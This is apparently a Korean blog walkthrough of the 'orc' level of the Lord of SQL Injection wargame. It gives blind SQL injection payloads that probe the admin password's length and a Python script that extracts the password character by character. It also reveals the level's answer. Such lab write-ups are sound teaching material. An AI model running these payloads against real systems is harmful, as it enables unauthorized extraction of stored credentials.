흠.... 개인적으로 이문제는 Blind Sqli 로서, 코딩을 해야되는 문제이다.
(web은 파이썬이 쉬운듯.....)
우선, 문제를 보면은
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이런 코드가 되어있는데 이번문제의 특징은, admin계정의 pw를 알아내야 문제가 풀린다는것이다.
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
하지만, 쿼리가 참이기만 하더라도 Hello admin을 출력해주기에 이부분을 이용하면 된다.
우선, blind sqli 를 풀기전에
http://kcats.tistory.com/121 정리가 굉장히 잘 되어있기에, 읽어보도록하자.
blind sqli에 많이쓰이는 length가 필터링이 안되어 있기에, 쉽게 풀 수 있다.
우선, length를 이용하여 pw의 길이를 뽑아내보도록 하자. pw의 길이가 참이라면 Hello admin을 출력할것이다.
pw 길이는 코딩을 안하고 직접 날릴거다.
대충 파라미터는 ?pw=' or length(pw)=1%23 이런식으로 작성하면 되겠다.
우선, 길이를 1로 날려보겠다. =>?pw=' or length(pw)=1%23
1은 아닌가보다....
7까지 해보고도 안나와서 파이썬으로 코딩을 할까 생각하던 도중... 8을 날려보았다.
=>?pw=' or length(pw)=8%23
올 ㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋㅋ 개이득
쨌든 이렇게 pw길이는 8이라는것을 알았다. 이제 이 pw길이를 이용하여 pw값을 뽑아내도록 해보겠다.
========================================================================
(pw길이를 구하는 이유는, 구하는 시간을 줄이기 위해서이다.
pw길이를 모른다면 짜피 Burte Force를 하는것이기에 길이가 1일때, 2일때, 3일때.... 이런식으로 다 돌아야 하는데,
length를 알면 8일때만 돌리면 되기때문이다.)
========================================================================
이제 본격적으로 파이썬을 이용한 코딩을 해보도록 하자.
좋아좋아 잘되네 :)
import string
from requests import get
cookies=dict(PHPSESSID="vptvkee3h43ptd18bcns6v4o61") #Input Your_Cookie !
idLength=8
url="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php"
abc = string.digits + string.ascii_letters
print("\n\n#### Starting Blind SQL Injection ####\n")
result=''
for i in range(1, idLength+1):
for a in abc:
param = "?pw=1' or id='admin' and ASCII(SUBSTR(pw, " + str(i) + ", 1))=" + str(ord(a)) + "%23"
new_url = url + param
req = get(new_url, cookies=cookies)
if req.text.find("<h2>Hello admin</h2>") > 0:
print(str(i) + "st char is '" + a + "'").encode('utf-8')
result += a
break
print '='*20
print "result : " + result
엄청 간단....? 하다
파일도 올려본다.
결과도 잘 나온다.
이제 pw값을 알아냈으니, ?pw=295d5844 를 해보자!
이렇게 끝이났다. 뭐 코딩을 해야하는 부분도 있었지만 꽤 쉬운 문제였다.
스스로 코딩을 할 수 있는 능력을 기르자 !!!
'워게임 > Lord Of Sql Injection' 카테고리의 다른 글
Lord Of Sql Injection Drakelf (0) | 2017.01.05 |
---|---|
Lord Of Sql Injection wolfman 5번문제 (0) | 2017.01.05 |
Lord of Sql Injection goblin 3번문제 (0) | 2016.12.31 |
Lord of Sql Injection cobolt 2번문제 (0) | 2016.12.28 |
Lord Of Sql Injection gremlin 1번문제 (0) | 2016.11.17 |